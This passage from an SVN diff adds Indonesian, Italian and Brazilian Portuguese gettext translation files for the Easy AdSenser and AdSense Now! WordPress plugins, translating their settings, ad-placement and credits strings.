+msgstr "Untuk memodifikasi skema warna dari tema tanpa menyunting CSS/Stylesheet."
+
+#: admin.php:371
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "Untuk menerjemahkan formula LaTeX seperti ini [math](a+b)^2 = a^2 + b^2 +2ab[/math] ke berikut ini:"
+
+#: admin.php:374
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Plugin AdSense saya yang ringan dan baik. Tanpa kekacauan, tanpa kekuatiran."
+
+#: admin.php:384
+msgid "Credits"
+msgstr "Kredit"
+
+#: admin.php:388
+msgid "%s uses the excellent Javascript/DHTML tooltips by %s"
+msgstr "%s memakai tooltip JavaScript/DTHML yang sempurna oleh %s"
+
+#: admin.php:384
+msgid "Future Plans"
+msgstr "Rencana Masa Depan"
+
+#: admin.php:388
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "Buat widget Unit Taut Google dapat ditampilkan berulang kali. [Dalam versi 2.0, widget Unit Taut diulang karena saya tidak dapat menemukan cara bagaimaan menampilkan widget berulang kali dengan cara yang rapi.]"
+
+#: admin.php:391
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Aktifkan blok iklan pada tampilan kategori (Permintaan pemakai)."
+
+#: admin.php:394
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Merilis versi terjemahand ari plugin ini. (Butuh bantuan Anda!)"
+
+#: easy-adsenser.php:242
+msgid "Settings Updated."
+msgstr "Pengaturan telah diperbarui."
+
+#: easy-adsenser.php:249
+msgid "Ok, all your settings have been discarded!"
+msgstr "Ok, semua pengaturan telah dibuang!"
+
+#: easy-adsenser.php:269
+msgid "Database has been cleaned. All your options for this plugin (for all themes) have been removed."
+msgstr "Database telah dibersihkan. Semua opsi Anda untuk plugin ini (dan untuk semua tema) telah disingkirkan."
+
+#: easy-adsenser.php:275
+msgid "This plugin has been deactivated."
+msgstr "Plugin ini telah dimatikan."
+
+#: easy-adsenser.php:276
+msgid "Refresh"
+msgstr "Perbarui lagi"
+
+#: easy-adsenser.php:286
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+"Kesalahan dalam mencari lokasi admin!\n"
+"Pastikan admin.php ada, atau pasang ulang plugin ini."
+
+#: easy-adsenser.php:304
+msgid "Settings"
+msgstr "Pengaturan"
+
+#: easy-adsenser.php:472
+msgid "Sponsored Links"
+msgstr "Taut sponsor"
+
+#: easy-adsenser.php:551
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy AdSenser: Tampilkan sebuah blok AdSense pada sidebar sebagai sebuah widget"
+
+#: easy-adsenser.php:556
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy AdSenser: Tampilkan sebuah Kotak Pencarian Google pada sidebar sebagai sebuah widget"
+
+#: easy-adsenser.php:600
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy AdSenser: Tampilkan sebuah Unit Taut Google pada sidebar sebagai sebuah widget"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at <a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "Cara termudah untuk menampilkan AdSense dan menghasilkan uang dari blog Anda. Konfigurasi pada <a href=\"options-general.php?page=easy-adsenser.php\">Pengaturan &rarr; Easy AdSenser</a>, atau pergunakan taut \"Pengaturan\" di sebelah kanan."
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
+### FOR AdSense Now! ##########################################################
+#: admin.php:96
+msgid "Suppress"
+msgstr "Hilangkan"
+
+#: admin.php:98
+msgid "Top"
+msgstr "Atas"
+
+#: admin.php:109
+msgid "Middle"
+msgstr "Tengah"
+
+#: admin.php:120
+msgid "Bottom"
+msgstr "Akhir"
+
+#: admin.php:214
+msgid "A complete solution for everything AdSense releated."
+msgstr "Solusi lengkap untuk segala sesuatu yang berkaitan dengan AdSense."
+
+#: admin.php:215
+msgid "If you feel that you need more features (sidebar widgets, link units, Google searchbox etc.), consider my all-in-one plugin"
+msgstr "Jika Anda merasa membutuhkan fitur tambahan (widget sidebar, unit taut, kotak pencarian Google dsb.), pertimbangkan plugin all-in-one saya"
+
+#. Plugin Name of an extension
+msgid "AdSense Now!"
+msgstr "AdSense Sekarang!"
+
+#. Description of an extension
+msgid "Get started with AdSense now, and make money from your blog. Configure it at <a href=\"options-general.php?page=adsense-now.php\">Settings &rarr; AdSense Now!</a>, or use the \"Settings\" link on the right."
+msgstr "Mulai dengan AdSense sekarang, dan hasilkan uang dari blog Anda. Konfigurasi pada <a href=\"options-general.php?page=adsense-now.php\">Pengaturan &rarr; AdSense Sekarang!</a>, atau pergunakan taut \"Pengaturan\" di sebalah kanan."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/it_IT/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/it_IT/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/it_IT/easy-adsenser.po	(revision 44)
@@ -0,0 +1,452 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-04-02 15:31+1000\n"
+"PO-Revision-Date: 2009-04-02 15:31+1000\n"
+"Last-Translator: Angelo D'Agostino (Angelius) <angelius@console-war.com>\n"
+"Language-Team: Italiano <angelius@console-war.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Istruzioni"
+
+#: admin.php:12
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "Genera un codice AdSense (da http://adsense.google.com &rarr; Impostazioni AdSense &rarr; Ottieni annunci)."
+
+#: admin.php:17
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "Taglia e incolla il codice Adsense nei box qui in basso, eliminando il testo esistente."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Decidi il tipo di allineamento e visualizzazione del codice nei post del blog."
+
+#: admin.php:27
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "Dai uno sguardo alle regole di Google e le altre opzioni. Quelle di default di solito vanno bene."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "Salva le opzioni per completare le operazioni!"
+
+#: admin.php:37
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "Se vuoi usare i widget, trascinalo nel men&ugrave; %s Aspetto &rarr; Widget %s"
+
+#: admin.php:42
+msgid "Need to control ad blocks on each post?"
+msgstr "Hai bisogno di controllare i blocchi Ad per ogni post?"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Opzioni (per il tema %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "Blocchi Ad nei Tuoi Post"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[Sar&agrave; visualizzato nei post e nelle pagine]"
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "Widget per la barra laterale"
+
+#: admin.php:76
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[Vedi <a href=\"widgets.php\"> Aspetto &rarr; Widget</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr "Inizio-post AdSense"
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr "(Sar&agrave; visualizzato all'inizio di un post)"
+
+#: admin.php:94 admin.php:109 admin.php:124 admin.php:164 admin.php:180
+msgid "Ad Alignment"
+msgstr "Allineamento Ad"
+
+#: admin.php:95 admin.php:110 admin.php:125 admin.php:165 admin.php:181
+msgid "(Where to show?)"
+msgstr "(Dove lo mostro?)"
+
+#: admin.php:97 admin.php:112 admin.php:127 admin.php:167 admin.php:183
+msgid "Align Left"
+msgstr "Sinistra"
+
+#: admin.php:98 admin.php:113 admin.php:128 admin.php:168 admin.php:184
+msgid "Center"
+msgstr "Centro"
+
+#: admin.php:99 admin.php:114 admin.php:129 admin.php:169 admin.php:185
+msgid "Align Right"
+msgstr "Destra"
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr "Comprimi Ad Inizio-post"
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr "Centro-post AdSense"
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr "(Sar&agrave; visualizzato al centro di un post)"
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr "Comprimi Ad Centro-post"
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr "Fine-post Adsense"
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr "(Sar&agrave; visualizzato alla fine di un post)"
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr "Comprimi Ad Fine-post"
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr "Opzioni sulla Politica di Google"
+
+#: admin.php:139
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "(La politica di Google impone il non utilizzo di oltre tre blocchi per le Unit&agrave; pubblicitarie e tre per gli Insiemi dei link per pagina)"
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "Tre blocchi Ad (incluso il widget della barra laterale, se attivato)."
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr "Due blocchi Ad"
+
+#: admin.php:144
+msgid "One ad block."
+msgstr "Un blocco Ad"
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr "Nessun blocco Ad nei post."
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "Qualsiasi numero di blocchi Ad (Usalo a tuo rischio!)"
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "Numero di Insiemi dei Link nei widget(&le; 3) [Google ne consente solo tre]:"
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr "Widget AdSense"
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(Sar&agrave; visualizzato nella Barra laterale come Widget)"
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr "Comprimi Widget"
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr "Titolo Widget"
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr "Insieme dei Link AdSense"
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(Saranno visualizzati nella Barra laterale come Widget)"
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr "Comprimi Insieme dei Link"
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr "Titolo Insieme dei link"
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr "Widget di Ricerca Google"
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(Aggiungi un box di Ricerca Google nella tua Barra laterale)"
+
+#: admin.php:196
+msgid "Search Title"
+msgstr "Scegli Titolo"
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr "Titolo del Widget Ricerca Google"
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr "Comprimi Ricerca Google"
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr "Titolo personalizzato:"
+
+#: admin.php:210
+msgid "Other Options"
+msgstr "Altre Opzioni"
+
+#: admin.php:212
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "Consenti blocchi Ad nei feed [Riporta qualsiasi problema riscontrato utilizzando quest'opzione]"
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Priotit&agrave; del widget. (Mostra sempre il widget, se attivato)"
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "Forza Ad Centro-post (se attivo) nei post piccoli"
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr "Link di ritorno verso"
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr "(Considera la possibilit&agrave; di mostrare almeno un link.)"
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr "Mostra un link sotto ogni blocco Ad."
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr "Mostra il link solo sotto il primo blocco Ad."
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr "Mostra il link alla fine della pagina del blog."
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "Non mostrare link verso il mio blog (Sei sicuro?!)"
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr "Salva Impostazioni"
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr "Salva le impostazioni specificate sopra"
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr "Resetta Opzioni"
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "Sei sicuro di voler annullare tutti i cambiamenti per ritornare alle impostazioni di default?"
+
+#: admin.php:233
+msgid "This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!"
+msgstr "<b>Resetta Opzioni</b> annulla tutti i cambiamenti caricando le impostazioni di default. Questo &egrave; solamente un avviso."
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr "Supporta Easy AdSenser"
+
+#: admin.php:245
+msgid "If you would like to support my efforts, please visit (and link-back to) my blog"
+msgstr "Sei vuoi supportare i miei sforzi, visita (e linka) il mio blog"
+
+#: admin.php:248
+msgid "If you like the content and style of my blog,"
+msgstr "Se ti piace il contenuto e lo stile del mio blog,"
+
+msgid "consider buying my book"
+msgstr "considera l'acquisto del mio libro"
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "inserisce un link sotto al (primo) blocco Ad e sar&agrave; visualizzato cos&igrave;:"
+
+#: admin.php:269
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "Considera la possibilit&agrave di rimanerlo invariato. Se lo Comprimi, usa un Link di ritorno."
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "Riporta qualsiasi problema, condividi la tua esperienza e commenta."
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr "Posta nel Forum di WordPress"
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr "[Forum di WordPress]"
+
+#: admin.php:273
+msgid "Or"
+msgstr "oppure"
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr "Contatta l'autore del plugin via email"
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr "[Contatta Autore via email]"
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr "Visiona anche gli altri plugin da me realizzati:"
+
+#: admin.php:279
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "Per modificare lo schema di colori dei temi senza editare file CSS/Stylesheet."
+
+#: admin.php:282
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "Per tradurre formule LaTeX come questa [math](a+b)^2 = a^2 + b^2 + 2ab[/math] in questa:"
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Il mio semplice e misero plugin AdSense. Nessun disordine, nessuna complicazione."
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr "Progetti Futuri"
+
+#: admin.php:299
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "Rendere gli Insiemi dei link dei widget a multi-inserimento. [Nella versione 2.0, gli Insiemi dei Link vengono ripetuti perch&eacute; i widget multi-inserimento non possono essere visualizzati in nessun modo.]"
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Attivare blocchi Ad nelle categorie (Richiesta da parte degli utenti)."
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Rilasciare le versioni tradotte del plugin. (Ho bisogno del tuo aiuto!)"
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr "Impostazioni Aggiornate"
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr "OK, tutte le tue impostazioni sono state annullate!"
+
+#: easy-adsenser.php:259
+msgid "Error locating the admin page!\nEnsure admin.php exists, or reinstall the plugin."
+msgstr "Pagina di amministrazione non trovata!\nControlla che il file admin.php esista, oppure reinstalla il plugin."
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr "Impostazioni"
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr "Link Sponsorizzati"
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostra un blocco di Google AdSense nella barra laterale come widget"
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostra un box di Ricerca Google nella barra laterale come widget"
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostra Insieme dei Link Google nella barra laterale come widget"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at "
+"<a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy "
+"AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "Gestisci in modo semplice i blocchi AdSense per fare soldi facili con il tuo blog. Configuralo in "
+"<a href=\"options-general.php?page=easy-adsenser.php\">Impostazioni &rarr; Easy "
+"AdSenser</a>, oppure clicca su \"Impostazioni\" qui a destra."
+
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
+#: admin.php:54
+msgid ""
+"If you want to suppress AdSense in a particular post or page, give the "
+"<b><em>comment </em></b> \"&lt;!--noadsense--&gt;\" somewhere in its text."
+"\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> \"adsense\" and "
+"give it a <b>value</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or "
+"page displays AdSense blocks:<br />\r\n"
+"<b>Keys</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Values</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+msgstr ""
+"Se vuoi comprimere AdSense in un post particolare, inserisci il <b><em>commento</em></b> \"&lt;!--noadsense--&gt;\" da qualche parte nel testo.<br />\r\n"
+"<br />\r\n"
+"Oppure, inserisci un <b><em>Campo Personalizzato</em></b> con la <b>chiave</b> \"adsense\" e dagli come <b>valore</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Altri <b><em>Campi Personalizzati</em></b> possono essere definiti per ottimizzare un post o una pagina visualizza il blocco di Google AdSense:<br />\r\n"
+"<b>Chiavi</b>:<br />\r\n"
+"adsense-top (superiore),\r\n"
+"adsense-middle (centrale),\r\n"
+"adsense-bottom (inferiore),\r\n"
+"adsense-widget (widget nella barra laterale),\r\n"
+"adsense-search (ricerca)<br />\r\n"
+"<b>Valori</b>:<br />\r\n"
+"left (sinistra),\r\n"
+"right (destra),\r\n"
+"center (centro),\r\n"
+"no"
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/pt_BR/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/pt_BR/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/pt_BR/easy-adsenser.po	(revision 44)
@@ -0,0 +1,446 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-03-26 23:25+0000\n"
+"PO-Revision-Date: 2009-03-29 14:17-0003\n"
+"Last-Translator: Ivan Carlos <icarlos@icarlos.net>\n"
+"Language-Team: Potuguês <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Instru&ccedil;&otilde;es"
+
+#: admin.php:12
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "Crie o c&oacute;digo AdSense (em http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+
+#: admin.php:17
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "Copie e cole o c&oacute;digo AdSense nas caixas abaixo, deletando o conte&uacute;do existente."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Decida como alinhar e exibir o c&oacute;digo nos posts do seu blog."
+
+#: admin.php:27
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "Verifique as op&ccedil;&otilde;es referente a pol&iacute;tica do Google e outras op&ccedil;&otilde;es. As op&ccedil;&otilde;es padr&atilde;o devem funcionar."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "Salve as op&ccedil;&otilde;es, e pronto!"
+
+#: admin.php:37
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "Se voc&ecirc; deseja usar widgets, arraste e solte eles em %s Appearance (ou Design) &rarr; Widgets %s"
+
+#: admin.php:42
+msgid "Need to control ad blocks on each post?"
+msgstr "Precisa controla os blocos de an&uacute;ncios em cada post?"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Op&ccedil;&otilde;es (para o tema %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "Blocos de an&uacute;ncios em seus posts"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[Aparece em seus posts e p&aacute;ginas]"
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "Widgets para suas barras laterais"
+
+#: admin.php:76
+msgid "[See <a href= \"widgets.php\">Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[Veja em <a href= \"widgets.php\">Appearance (ou Design) &rarr; Widgets</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr "AdSense no in&iacute;cio"
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr "(Aparece pr&oacute;ximo ao in&iacute;cio do post)"
+
+#: admin.php:94 admin.php:109 admin.php:124 admin.php:164 admin.php:180
+msgid "Ad Alignment"
+msgstr "Alinhamento do an&uacute;ncio"
+
+#: admin.php:95 admin.php:110 admin.php:125 admin.php:165 admin.php:181
+msgid "(Where to show?)"
+msgstr "(Onde mostrar?)"
+
+#: admin.php:97 admin.php:112 admin.php:127 admin.php:167 admin.php:183
+msgid "Align Left"
+msgstr "Esquerda"
+
+#: admin.php:98 admin.php:113 admin.php:128 admin.php:168 admin.php:184
+msgid "Center"
+msgstr "Centro"
+
+#: admin.php:99 admin.php:114 admin.php:129 admin.php:169 admin.php:185
+msgid "Align Right"
+msgstr "Direita"
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr "AdSense no meio"
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr "(Aparece pr&oacute;ximo ao meio do post)"
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr "AdSense no final"
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr "(Aparece pr&oacute;ximo ao final do post)"
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr "Op&ccedil;&otilde;es da pol&iacute;tica do Google"
+
+#: admin.php:139
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "(A pol&iacute;tica de uso do Google n&atilde;o permite que utilize mais que 3 blocos de an&uacute;ncios em uma &uacute;nica p&aacute;gina)"
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "3 blocos de an&uacute;ncios (incluindo o widget da barra lateral, se habilitado)."
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr "2 blocos de an&uacute;ncios"
+
+#: admin.php:144
+msgid "One ad block."
+msgstr "1 bloco de an&uacute;ncio"
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr "Sem blocos de an&uacute;ncios nos posts"
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "V&aacute;rios blocos de an&uacute;ncios (Por sua conta e risco!)"
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "N&uacute;mero de widgets de caixas de links (&le; 3) [Google fornece somente 3]:"
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr "AdSense no Widget"
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(Aparece na barra lateral como um Widget)"
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr "T&iacute;tulo do Widget"
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr "Caixa de links do AdSense"
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as Widgets)"
+msgstr "(Aparecem na barra lateral como Widgets)"
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr "T&iacute;tulo da caixa de links"
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr "Widget da busca do Google"
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(Adiciona uma caixa de busca do Google em sua barra lateral)"
+
+#: admin.php:196
+msgid "Search Title"
+msgstr "T&iacute;tulo da busca"
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr "(T&iacute;tulo do Widget de busca do Google)"
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr "N&atilde;o mostrar"
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr "T&iacute;tulo customizado"
+
+#: admin.php:210
+msgid "Other Options"
+msgstr "Outras op&ccedil;&otilde;es"
+
+#: admin.php:212
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "Permitir blocos de an&uacute;ncios em feeds. [Informe qualquer problema com esta op&ccedil;&atilde;o.]"
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Priorizar o widget da bara lateral. (Sempre mostrar o widget, se habilitado.)"
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "For&ccedil;ar an&uacute;ncios no meio do texto (se habilitado) mesmo em posts curtos."
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr "Links para"
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr "(Considere exibir ao menos 1 link.)"
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr "Mostrar um link abaixo de todo bloco de an&uacute;ncio."
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr "Mostrar o link somente abaixo do primeiro bloco de an&uacute;ncio."
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr "Mostrar o link no final da p&aacute;gina do seu blog."
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
